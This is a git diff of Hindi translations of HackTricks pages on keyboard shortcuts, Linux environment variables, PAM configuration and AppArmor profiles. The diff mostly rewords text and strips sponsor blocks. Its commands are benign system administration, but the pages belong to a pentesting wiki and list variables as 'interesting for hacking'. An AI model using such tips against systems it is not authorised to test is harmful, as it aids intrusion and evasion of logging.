| ⌘. | वर्तमान टैब को लोडिंग रोकें |
|
||||
| ^⇥ | अगले टैब पर स्विच करें |
|
||||
| ^⇧⇥ (कंट्रोल-शिफ्ट-टैब) | पिछले टैब पर जाएं |
|
||||
| ⌘L | पाठ इनपुट/URL फील्ड का चयन करें और संशोधित करें |
|
||||
| ⌘⇧T (कमांड-शिफ्ट-टी) | आखिरी बंद किए गए टैब खोलें (कई बार प्रयोग किया जा सकता है) |
|
||||
| ⌘\[ | आपके ब्राउज़िंग हिस्ट्री में एक पृष्ठ पीछे जाएं |
|
||||
| ⌘] | आपके ब्राउज़िंग हिस्ट्री में एक पृष्ठ आगे जाएं |
|
||||
| ⌘R | वर्तमान टैब को ताज़ा करें |
|
||||
| ⌘. | वर्तमान टैब को लोड करना बंद करें |
|
||||
| ^⇥ | अगले टैब पर स्विच करें |
|
||||
| ^⇧⇥ (नियंत्रण-शिफ्ट-टैब) | पिछले टैब पर जाएँ |
|
||||
| ⌘L | टेक्स्ट इनपुट/URL फ़ील्ड का चयन करें ताकि इसे संशोधित किया जा सके |
|
||||
| ⌘⇧T (कमांड-शिफ्ट-T) | अंतिम बंद किए गए टैब को खोलें (कई बार उपयोग किया जा सकता है) |
|
||||
| ⌘\[ | आपके ब्राउज़िंग इतिहास में एक पृष्ठ पीछे जाएँ |
|
||||
| ⌘] | आपके ब्राउज़िंग इतिहास में एक पृष्ठ आगे जाएँ |
|
||||
| ⌘⇧R | रीडर मोड सक्रिय करें |
|
||||
|
||||
#### मेल शॉर्टकट्स
|
||||
#### मेल शॉर्टकट
|
||||
|
||||
| शॉर्टकट | क्रिया |
|
||||
| -------------------------- | ---------------------------- |
|
||||
| ⌘L | स्थान खोलें |
|
||||
| ⌘T | नया टैब खोलें |
|
||||
| ⌘T | एक नया टैब खोलें |
|
||||
| ⌘W | वर्तमान टैब बंद करें |
|
||||
| ⌘R | वर्तमान टैब को रिफ्रेश करें |
|
||||
| ⌘. | वर्तमान टैब को लोडिंग रोकें |
|
||||
| ⌘R | वर्तमान टैब को ताज़ा करें |
|
||||
| ⌘. | वर्तमान टैब को लोड करना बंद करें |
|
||||
| ⌘⌥F (कमांड-ऑप्शन/Alt-F) | आपके मेलबॉक्स में खोजें |
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
@ -282,17 +292,7 @@ _bash, sh, zsh..._ अधिक यहाँ: [https://gtfobins.github.io/](http
|
|||
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
|
||||
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** प्रेरित खोज इंजन है जो उपयोगकर्ता कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर** द्वारा **कंप्रोमाइज़** किया गया है या नहीं जांचने की **मुफ्त** सुविधाएं प्रदान करता है।
|
||||
|
||||
व्हाइटइंटेल का मुख्य उद्देश्य खाता हथियाने और रैंसमवेयर हमलों का मुकाबला करना है जो जानकारी चोरी करने वाले मैलवेयर से होते हैं।
|
||||
|
||||
आप उनकी वेबसाइट चेक कर सकते हैं और उनके इंजन का **मुफ्त** प्रयोग कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -300,11 +300,11 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
|
||||
<details>
|
||||
|
||||
<summary>हैकट्रिक्स का समर्थन करें</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें द्वारा पीआर जमा करके** [**हैकट्रिक्स**](https://github.com/carlospolop/hacktricks) और [**हैकट्रिक्स क्लाउड**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में।
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,24 +15,16 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Global variables
|
||||
|
||||
वैश्विक चर **बच्चे प्रक्रियाओं** द्वारा **विरासत में** लिए जाएंगे।
|
||||
वैश्विक चर **बच्चे की प्रक्रियाओं** द्वारा **विरासत में** लिए जाएंगे।
|
||||
|
||||
आप अपने वर्तमान सत्र के लिए एक वैश्विक चर बनाने के लिए कर सकते हैं:
|
||||
```bash
|
||||
export MYGLOBAL="hello world"
|
||||
echo $MYGLOBAL #Prints: hello world
|
||||
```
|
||||
यह वेरिएबल आपके वर्तमान सत्रों और इसके चाइल्ड प्रोसेस द्वारा सुलभ होगा।
|
||||
यह वेरिएबल आपके वर्तमान सत्रों और इसके चाइल्ड प्रोसेस द्वारा एक्सेस किया जाएगा।
|
||||
|
||||
आप एक वेरिएबल को **हटाने** के लिए कर सकते हैं:
|
||||
```bash
|
||||
|
@ -54,11 +46,11 @@ printenv
|
|||
cat /proc/$$/environ
|
||||
cat /proc/`python -c "import os; print(os.getppid())"`/environ
|
||||
```
|
||||
## सामान्य वेरिएबल
|
||||
## Common variables
|
||||
|
||||
From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
|
||||
|
||||
* **DISPLAY** – **X** द्वारा उपयोग किया जाने वाला डिस्प्ले। यह वेरिएबल आमतौर पर **:0.0** पर सेट होता है, जिसका अर्थ है वर्तमान कंप्यूटर पर पहला डिस्प्ले।
|
||||
* **DISPLAY** – **X** द्वारा उपयोग किया जाने वाला डिस्प्ले। यह वेरिएबल आमतौर पर **:0.0** पर सेट होता है, जिसका मतलब है वर्तमान कंप्यूटर पर पहला डिस्प्ले।
|
||||
* **EDITOR** – उपयोगकर्ता का पसंदीदा टेक्स्ट संपादक।
|
||||
* **HISTFILESIZE** – इतिहास फ़ाइल में शामिल अधिकतम पंक्तियों की संख्या।
|
||||
* **HISTSIZE** – जब उपयोगकर्ता अपनी सत्र समाप्त करता है तो इतिहास फ़ाइल में जोड़ी गई पंक्तियों की संख्या।
|
||||
|
@ -76,7 +68,7 @@ From: [https://geek-university.com/linux/common-environment-variables/](https://
|
|||
* **TZ** – आपका समय क्षेत्र।
|
||||
* **USER** – आपका वर्तमान उपयोगकर्ता नाम।
|
||||
|
||||
## हैकिंग के लिए दिलचस्प वेरिएबल
|
||||
## Interesting variables for hacking
|
||||
|
||||
### **HISTFILESIZE**
|
||||
|
||||
|
@ -114,7 +106,7 @@ export SSL_CERT_DIR=/path/to/ca-certificates
|
|||
|
||||
![](<../.gitbook/assets/image (897).png>)
|
||||
|
||||
नियमित उपयोगकर्ता:
|
||||
सामान्य उपयोगकर्ता:
|
||||
|
||||
![](<../.gitbook/assets/image (740).png>)
|
||||
|
||||
|
@ -126,11 +118,6 @@ export SSL_CERT_DIR=/path/to/ca-certificates
|
|||
|
||||
![](<../.gitbook/assets/image (715).png>)
|
||||
|
||||
**ट्राई हार्ड सिक्योरिटी ग्रुप**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -140,9 +127,9 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर **फॉलो करें**।**
|
||||
* **हैकिंग ट्रिक्स साझा करें, PRs को** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में सबमिट करके।
|
||||
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,19 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या किसी कंपनी या उसके ग्राहकों को **चुराने वाले मालवेयर** द्वारा **समझौता** किया गया है।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी चुराने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### Basic Information
|
||||
|
||||
|
@ -36,7 +23,7 @@ WhiteIntel का प्राथमिक लक्ष्य जानकार
|
|||
#### Configuration Files
|
||||
|
||||
* **Solaris और UNIX-आधारित सिस्टम** आमतौर पर एक केंद्रीय कॉन्फ़िगरेशन फ़ाइल का उपयोग करते हैं जो `/etc/pam.conf` पर स्थित होती है।
|
||||
* **Linux सिस्टम** एक निर्देशिका दृष्टिकोण को पसंद करते हैं, जिसमें सेवा-विशिष्ट कॉन्फ़िगरेशन `/etc/pam.d` के भीतर संग्रहीत होते हैं। उदाहरण के लिए, लॉगिन सेवा के लिए कॉन्फ़िगरेशन फ़ाइल `/etc/pam.d/login` पर पाई जाती है।
|
||||
* **Linux सिस्टम** एक निर्देशिका दृष्टिकोण को प्राथमिकता देते हैं, जिसमें सेवा-विशिष्ट कॉन्फ़िगरेशन `/etc/pam.d` के भीतर संग्रहीत होते हैं। उदाहरण के लिए, लॉगिन सेवा के लिए कॉन्फ़िगरेशन फ़ाइल `/etc/pam.d/login` पर पाई जाती है।
|
||||
|
||||
लॉगिन सेवा के लिए PAM कॉन्फ़िगरेशन का एक उदाहरण इस प्रकार हो सकता है:
|
||||
```
|
||||
|
@ -53,7 +40,7 @@ session required /lib/security/pam_unix_session.so
|
|||
```
|
||||
#### **PAM प्रबंधन क्षेत्र**
|
||||
|
||||
ये क्षेत्र, या प्रबंधन समूह, **auth**, **account**, **password**, और **session** शामिल हैं, जो प्रमाणीकरण और सत्र प्रबंधन प्रक्रिया के विभिन्न पहलुओं के लिए जिम्मेदार हैं:
|
||||
ये क्षेत्र, या प्रबंधन समूह, **auth**, **account**, **password**, और **session** शामिल हैं, प्रत्येक प्रमाणीकरण और सत्र प्रबंधन प्रक्रिया के विभिन्न पहलुओं के लिए जिम्मेदार हैं:
|
||||
|
||||
* **Auth**: उपयोगकर्ता की पहचान को मान्य करता है, अक्सर पासवर्ड के लिए संकेत देकर।
|
||||
* **Account**: खाता सत्यापन को संभालता है, जैसे समूह सदस्यता या समय-सीमा प्रतिबंधों की जांच करना।
|
||||
|
@ -71,23 +58,12 @@ session required /lib/security/pam_unix_session.so
|
|||
|
||||
#### उदाहरण परिदृश्य
|
||||
|
||||
कई auth मॉड्यूल के साथ सेटअप में, प्रक्रिया एक सख्त क्रम का पालन करती है। यदि `pam_securetty` मॉड्यूल लॉगिन टर्मिनल को अनधिकृत पाता है, तो रूट लॉगिन अवरुद्ध हो जाते हैं, फिर भी सभी मॉड्यूल को इसकी "required" स्थिति के कारण संसाधित किया जाता है। `pam_env` पर्यावरण चर सेट करता है, जो उपयोगकर्ता अनुभव में मदद कर सकता है। `pam_ldap` और `pam_unix` मॉड्यूल एक साथ मिलकर उपयोगकर्ता को प्रमाणीकरण करते हैं, जिसमें `pam_unix` पहले से दिए गए पासवर्ड का उपयोग करने का प्रयास करता है, प्रमाणीकरण विधियों में दक्षता और लचीलापन बढ़ाता है।
|
||||
कई auth मॉड्यूल के साथ सेटअप में, प्रक्रिया एक सख्त क्रम का पालन करती है। यदि `pam_securetty` मॉड्यूल लॉगिन टर्मिनल को अनधिकृत पाता है, तो रूट लॉगिन अवरुद्ध हो जाते हैं, फिर भी सभी मॉड्यूल को इसके "required" स्थिति के कारण संसाधित किया जाता है। `pam_env` पर्यावरण चर सेट करता है, जो उपयोगकर्ता अनुभव में सहायता कर सकता है। `pam_ldap` और `pam_unix` मॉड्यूल एक साथ मिलकर उपयोगकर्ता को प्रमाणीकरण करते हैं, `pam_unix` पहले से दिए गए पासवर्ड का उपयोग करने का प्रयास करता है, प्रमाणीकरण विधियों में दक्षता और लचीलापन बढ़ाता है।
|
||||
|
||||
### संदर्भ
|
||||
|
||||
* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **dark-web** संचालित खोज इंजन है जो यह जांचने के लिए **मुफ्त** कार्यक्षमताएँ प्रदान करता है कि क्या कोई कंपनी या इसके ग्राहक **compromised** हुए हैं **stealer malwares** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मैलवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -1,58 +1,44 @@
|
|||
# AppArmor
|
||||
|
||||
{% hint style="success" %}
|
||||
सीखें और प्रैक्टिस करें AWS हैकिंग: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और प्रैक्टिस करें GCP हैकिंग: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>हैकट्रिक्स का समर्थन करें</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** को** **फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स**](https://github.com/carlospolop/hacktricks) **और हैकट्रिक्स क्लाउड**](https://github.com/carlospolop/hacktricks-cloud) **github रेपो में पीआर जमा करके।
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
## Basic Information
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
AppArmor एक **कर्नेल संवर्धन है जिसे कार्यक्रमों के लिए उपलब्ध संसाधनों को प्रति-कार्यक्रम प्रोफाइल के माध्यम से प्रतिबंधित करने के लिए डिज़ाइन किया गया है**, प्रभावी रूप से अनिवार्य पहुँच नियंत्रण (MAC) को लागू करता है, जो पहुँच नियंत्रण विशेषताओं को सीधे कार्यक्रमों से जोड़ता है बजाय उपयोगकर्ताओं के। यह प्रणाली **कर्नेल में प्रोफाइल लोड करके** काम करती है, आमतौर पर बूट के दौरान, और ये प्रोफाइल निर्धारित करते हैं कि एक कार्यक्रम किन संसाधनों तक पहुँच सकता है, जैसे नेटवर्क कनेक्शन, कच्चे सॉकेट तक पहुँच, और फ़ाइल अनुमतियाँ।
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** पर आधारित खोज इंजन है जो **मुफ्त** सुविधाएं प्रदान करता है ताकि यह जांच सके कि कोई कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर्स** द्वारा **कंप्रोमाइज** किया गया है या नहीं।
|
||||
AppArmor प्रोफाइल के लिए दो संचालन मोड हैं:
|
||||
|
||||
व्हाइटइंटेल का मुख्य उद्देश्य खाता हासिल करने और रैंसमवेयर हमलों का मुकाबला करना है जो जानकारी चोरी करने वाले मैलवेयर से होते हैं।
|
||||
* **Enforcement Mode**: यह मोड प्रोफाइल के भीतर परिभाषित नीतियों को सक्रिय रूप से लागू करता है, उन क्रियाओं को अवरुद्ध करता है जो इन नीतियों का उल्लंघन करती हैं और syslog या auditd जैसे सिस्टम के माध्यम से उल्लंघन के किसी भी प्रयास को लॉग करता है।
|
||||
* **Complain Mode**: प्रवर्तन मोड के विपरीत, शिकायत मोड उन क्रियाओं को अवरुद्ध नहीं करता है जो प्रोफाइल की नीतियों के खिलाफ जाती हैं। इसके बजाय, यह इन प्रयासों को नीति उल्लंघनों के रूप में लॉग करता है बिना प्रतिबंध लागू किए।
|
||||
|
||||
आप उनकी वेबसाइट चेक कर सकते हैं और **मुफ्त** में उनका इंजन आजमा सकते हैं:
|
||||
### Components of AppArmor
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
* **Kernel Module**: नीतियों के प्रवर्तन के लिए जिम्मेदार।
|
||||
* **Policies**: कार्यक्रम के व्यवहार और संसाधन पहुँच के लिए नियम और प्रतिबंध निर्दिष्ट करते हैं।
|
||||
* **Parser**: प्रवर्तन या रिपोर्टिंग के लिए नीतियों को कर्नेल में लोड करता है।
|
||||
* **Utilities**: ये उपयोगकर्ता-मोड कार्यक्रम हैं जो AppArmor के साथ बातचीत करने और प्रबंधित करने के लिए एक इंटरफ़ेस प्रदान करते हैं।
|
||||
|
||||
***
|
||||
### Profiles path
|
||||
|
||||
## मूल जानकारी
|
||||
|
||||
AppArmor एक **कर्नेल एन्हांसमेंट** है जो कार्यक्रमों के लिए प्रोफाइल के माध्यम से उपलब्ध संसाधनों को प्रतिबंधित करने के लिए डिज़ाइन किया गया है, अनिवार्य एक्सेस नियंत्रण (MAC) को प्रभावी रूप से लागू करके एक्सेस नियंत्रण गुणों को सीधे प्रोग्रामों से युक्त करने के द्वारा। यह सिस्टम **कर्नेल में प्रोफाइल लोड करके** काम करता है, सामान्यत: बूट के दौरान, और ये प्रोफाइल निर्दिष्ट करते हैं कि कोई प्रोग्राम किस संसाधन तक पहुंच सकता है, जैसे नेटवर्क कनेक्शन, रॉ सॉकेट एक्सेस, और फ़ाइल अनुमतियाँ।
|
||||
|
||||
AppArmor प्रोफाइल के लिए दो प्रचलित मोड हैं:
|
||||
|
||||
* **निषेध मोड**: यह मोड प्रोफाइल में परिभाषित नीतियों को सक्रिय रूप से लागू करता है, जो इन नीतियों का उल्लंघन करने वाली क्रियाओं को रोकता है और syslog या auditd जैसे सिस्टम के माध्यम से इन्हें उल्लंघन करने की कोशिशों को लॉग करता है।
|
||||
* **शिकायत मोड**: निषेध मोड की तरह, शिकायत मोड उन क्रियाओं को नहीं रोकता जो प्रोफाइल की नीतियों के खिलाफ जाती हैं। इसके बजाय, यह इन प्रयासों को नीतियों के उल्लंघन के रूप में लॉग करता है बिना प्रतिबंधों को लागू करने।
|
||||
|
||||
### AppArmor के घटक
|
||||
|
||||
* **कर्नेल मॉड्यूल**: नीतियों के प्रवर्तन के लिए जिम्मेदार।
|
||||
* **नीतियाँ**: कार्यक्रम व्यवहार और संसाधन एक्सेस के लिए नियम और प्रतिबंध निर्धारित करती हैं।
|
||||
* **पार्सर**: नीतियों को कर्नेल में प्रवर्तन या रिपोर्टिंग के लिए लोड करता है।
|
||||
* **उपयोगिताएं**: ये उपयोगकर्ता मोड प्रोग्राम्स के साथ बातचीत करने और AppArmor का प्रबंधन करने के लिए एक इंटरफेस प्रदान करने वाले प्रोग्राम हैं।
|
||||
|
||||
### प्रोफाइल पथ
|
||||
|
||||
Apparmor प्रोफाइल आम तौर पर _**/etc/apparmor.d/**_ में सहेजे जाते हैं।\
|
||||
`sudo aa-status` के साथ आप उन बाइनरी को सूचीबद्ध कर सकते हैं जिन्हें किसी प्रोफाइल द्वारा प्रतिबंधित किया गया है। यदि आप प्रत्येक सूचीबद्ध बाइनरी के पथ का चार "/" को उसके नाम में डॉट में बदल सकते हैं तो आपको उल्लिखित फ़ोल्डर के अंदर एपार्मर प्रोफाइल का नाम प्राप्त होगा।
|
||||
Apparmor प्रोफाइल आमतौर पर _**/etc/apparmor.d/**_ में सहेजे जाते हैं।\
|
||||
`sudo aa-status` के साथ आप उन बाइनरीज़ की सूची प्राप्त कर सकेंगे जो किसी प्रोफाइल द्वारा प्रतिबंधित हैं। यदि आप सूचीबद्ध प्रत्येक बाइनरी के पथ में "/" को बिंदु में बदल सकते हैं, तो आप उल्लेखित फ़ोल्डर के भीतर apparmor प्रोफाइल का नाम प्राप्त करेंगे।
|
||||
|
||||
उदाहरण के लिए, _/usr/bin/man_ के लिए एक **apparmor** प्रोफाइल _/etc/apparmor.d/usr.bin.man_ में स्थित होगा।
|
||||
|
||||
### कमांड्स
|
||||
### Commands
|
||||
```bash
|
||||
aa-status #check the current status
|
||||
aa-enforce #set profile to enforce mode (from disable or complain)
|
||||
|
@ -62,42 +48,42 @@ aa-genprof #generate a new profile
|
|||
aa-logprof #used to change the policy when the binary/program is changed
|
||||
aa-mergeprof #used to merge the policies
|
||||
```
|
||||
## प्रोफ़ाइल बनाना
|
||||
## Creating a profile
|
||||
|
||||
* प्रभावित एक्जीक्यूटेबल को दर्शाने के लिए, **पूर्ण मार्ग और वाइल्डकार्ड** (फ़ाइल ग्लॉबिंग के लिए) की अनुमति है।
|
||||
* **फ़ाइलों** पर एक्सेस नियंत्रण को दर्शाने के लिए निम्नलिखित **एक्सेस नियंत्रण** का उपयोग किया जा सकता है:
|
||||
* **r** (पढ़ना)
|
||||
* **w** (लिखना)
|
||||
* **m** (मेमोरी मैप के रूप में एक्जीक्यूटेबल)
|
||||
* **k** (फ़ाइल लॉकिंग)
|
||||
* **l** (हार्ड लिंक्स बनाना)
|
||||
* **ix** (नए प्रोग्राम को नीति विरासत में एक्जीक्यूट करने के लिए)
|
||||
* **Px** (पर्यावरण को साफ करने के बाद एक अन्य प्रोफ़ाइल के तहत एक्जीक्यूट करें)
|
||||
* **Cx** (पर्यावरण को साफ करने के बाद एक बच्चा प्रोफ़ाइल के तहत एक्जीक्यूट करें)
|
||||
* **Ux** (पर्यावरण को साफ करने के बाद अनियंत्रित एक्जीक्यूट करें)
|
||||
* **प्रोफ़ाइल में चर** परिभाषित किए जा सकते हैं और प्रोफ़ाइल के बाहर से उन्हें परिवर्तित किया जा सकता है। उदाहरण के लिए: @{PROC} और @{HOME} (प्रोफ़ाइल फ़ाइल में #include \<tunables/global> जोड़ें)
|
||||
* **अनुमति नियमों को अधिलेखित करने के लिए निषेध नियम समर्थित हैं**।
|
||||
* प्रभावित निष्पादन योग्य को इंगित करने के लिए, **पूर्ण पथ और वाइल्डकार्ड** फ़ाइलों को निर्दिष्ट करने के लिए अनुमति है (फ़ाइल ग्लोबिंग के लिए)।
|
||||
* यह इंगित करने के लिए कि बाइनरी के पास **फाइलों** पर क्या पहुंच होगी, निम्नलिखित **एक्सेस नियंत्रण** का उपयोग किया जा सकता है:
|
||||
* **r** (पढ़ें)
|
||||
* **w** (लिखें)
|
||||
* **m** (निष्पादन योग्य के रूप में मेमोरी मैप)
|
||||
* **k** (फाइल लॉकिंग)
|
||||
* **l** (हार्ड लिंक बनाना)
|
||||
* **ix** (एक नए प्रोग्राम के साथ दूसरे प्रोग्राम को निष्पादित करने के लिए नीति विरासत में लेना)
|
||||
* **Px** (दूसरे प्रोफ़ाइल के तहत निष्पादित करें, पर्यावरण को साफ़ करने के बाद)
|
||||
* **Cx** (एक बच्चे के प्रोफ़ाइल के तहत निष्पादित करें, पर्यावरण को साफ़ करने के बाद)
|
||||
* **Ux** (बिना किसी प्रतिबंध के निष्पादित करें, पर्यावरण को साफ़ करने के बाद)
|
||||
* **चर** को प्रोफाइल में परिभाषित किया जा सकता है और प्रोफाइल के बाहर से हेरफेर किया जा सकता है। उदाहरण: @{PROC} और @{HOME} (प्रोफ़ाइल फ़ाइल में #include \<tunables/global> जोड़ें)
|
||||
* **अनुमति नियमों को ओवरराइड करने के लिए अस्वीकृति नियमों का समर्थन किया जाता है**।
|
||||
|
||||
### aa-genprof
|
||||
|
||||
एक प्रोफ़ाइल बनाना शुरू करने के लिए आपकी मदद करने के लिए apparmor का उपयोग किया जा सकता है। **एक्शन्स को जाँचने के लिए apparmor की सहायता लेकर एक एक्जीक्यूटेबल द्वारा किए गए कार्रवाईयों को जाँचने के बाद आपको यह निर्धारित करने देने की संभावना है कि आप किस कार्रवाई को अनुमति देना चाहते हैं या निषेध करना चाहते हैं**।\
|
||||
आपको बस यह रन करना है:
|
||||
प्रोफ़ाइल बनाने की प्रक्रिया को आसान बनाने के लिए apparmor आपकी मदद कर सकता है। यह संभव है कि **apparmor एक बाइनरी द्वारा किए गए कार्यों का निरीक्षण करे और फिर आपको यह तय करने दे कि आप कौन से कार्यों की अनुमति देना या अस्वीकृत करना चाहते हैं**।\
|
||||
आपको बस यह चलाना है:
|
||||
```bash
|
||||
sudo aa-genprof /path/to/binary
|
||||
```
|
||||
